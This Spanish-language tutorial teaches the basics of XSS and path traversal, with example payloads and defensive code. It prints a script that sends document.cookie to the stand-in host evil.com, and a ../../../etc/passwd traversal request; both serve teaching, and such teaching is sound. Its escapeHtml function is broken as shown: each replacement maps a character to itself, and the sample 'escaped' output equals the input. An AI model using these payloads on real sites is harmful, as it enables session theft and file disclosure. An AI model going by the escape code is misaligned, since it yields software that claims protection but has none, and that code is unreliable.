Fundamentos de seguridad web: XSS y navegación de rutas
Al finalizar este tema
Podrás explicar qué son los ataques XSS y de navegación de rutas, y aplicar el principio de "desconfiar siempre de la entrada del usuario" en tu código.
La entrada del usuario puede convertirse en un arma
Las aplicaciones web reciben y procesan entradas del usuario: términos de búsqueda, comentarios, parámetros de URL. El problema es que puede contener código malicioso.
El primer principio de la seguridad: "Todo lo que envía el usuario podría ser falso."
XSS — Cross-Site Scripting (Scripting entre sitios)
XSS (Cross-Site Scripting) es un ataque en el que un atacante inserta código JavaScript malicioso en una página web.
<!-- Si escribieras este comentario en el foro? -->
<script>alert('¡hackeo!')</script>Si el servidor inserta este comentario directamente en el HTML, este script se ejecutará en el navegador de todos los usuarios que visiten la página.
// Ejemplo más peligroso: robo de cookies
// Script insertado por el atacante
`<script>
fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>`Si se ve comprometida la sesión de inicio de sesión de un usuario, un atacante puede actuar como si fuera ese usuario.
Defensa: Escape
Convierte los caracteres especiales de HTML en caracteres seguros.
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"');
}
// <script>alert('¡hackeo!')</script>
// → <script>alert('¡hackeo!')</script>
// El navegador solo muestra esto como texto, no lo ejecutaLos frameworks como React y Next.js realizan un escape automático por defecto. Sin embargo, se debe tener cuidado al utilizar APIs como dangerouslySetInnerHTML, ya que esta protección desaparece.
Navegación de rutas — Path Traversal
Cuando el servidor lee archivos para responder, el usuario puede manipular la ruta del archivo.
// Código que lee y muestra el archivo solicitado por el usuario
const filename = req.query.file; // ¡Entrada del usuario!
const content = fs.readFileSync('./public/' + filename, 'utf8');
res.send(content);Solicitud normal: ?file=about.html → ./public/about.html
Solicitud de ataque: ?file=../../../etc/passwd → ./public/../../../etc/passwd → /etc/passwd
Se utiliza .. para acceder a un directorio no autorizado.
Defensa: normalización de rutas + lista blanca
const path = require('path');
const safePath = path.resolve('./public', filename);
// Verificar si está dentro del directorio public
if (!safePath.startsWith(path.resolve('./public'))) {
return res.status(403).send('Acceso denegado');
}path.resolve() resuelve .. para generar la ruta absoluta real y verifica que esta ruta se encuentre dentro del directorio permitido.
Resumen de los principios clave
- No confíes ciegamente: Toda entrada del usuario (URL, formularios, cookies, encabezados) debe ser validada.
- Aplica el escape al generar la salida: Convierte los caracteres especiales antes de insertarlos en HTML (protección contra XSS).
- Normaliza y valida la ruta: Para evitar la vulnerabilidad de
.., utilizaresolveystartsWith(protección contra la manipulación de rutas). - No desactives las protecciones del framework: Las API que desactivan el escape automático de React solo deben usarse cuando sea estrictamente necesario.